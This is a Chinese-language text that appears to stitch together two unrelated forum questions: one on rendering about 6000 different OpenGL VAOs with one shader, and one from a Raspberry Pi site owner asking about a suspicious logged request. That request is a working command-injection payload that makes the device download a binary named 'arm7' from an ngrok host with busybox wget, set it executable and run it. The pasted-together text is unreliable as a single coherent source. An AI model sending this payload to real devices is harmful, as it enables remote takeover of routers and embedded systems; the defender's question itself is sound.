我想知道如果我想使用相同的着色器绘制超过 6000 个不同的 VAO,最好的做法是什么。
目前我绑定了我的着色器,然后给它所有需要的信息(统一),然后循环遍历每个 VAO 来绑定和绘制它们。
这段代码使我的电脑下降到 ~ 200 fps 而不是 3000 或 4000。根据https://learnopengl.com/Advanced-OpenGL/Instancing,使用 glDrawElementsInstanced 可以让我处理大量相同的 VAO 但因为我有 ~ 6000个不同的VAO 好像用不上。
有人可以向我证实这一点吗?你们会怎么做才能绘制这么多VAO并尽可能节省性能?
我打开了一个网站,它的目的只是共享文本信息。后端没有数据库,或者不知道对它进行身份验证。但是,当我查看日志时,我注意到了这个请求:
POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a
Run Code Online (Sandbox Code Playgroud)
它发生了两次,我的服务器每次都响应 404 响应。但现在我有点担心它。我的网站在树莓派上运行,该树莓派连接到我的 ISP 设备。即使我的服务器没有任何 sudo 权限,我想知道他们是否有任何风险?
另外,有人可以向我解释这些可疑条目的含义。可能有什么风险?最后,您能否与我分享在任何设备(树莓派)和互联网之间设置管道时的一些技巧/良好行为。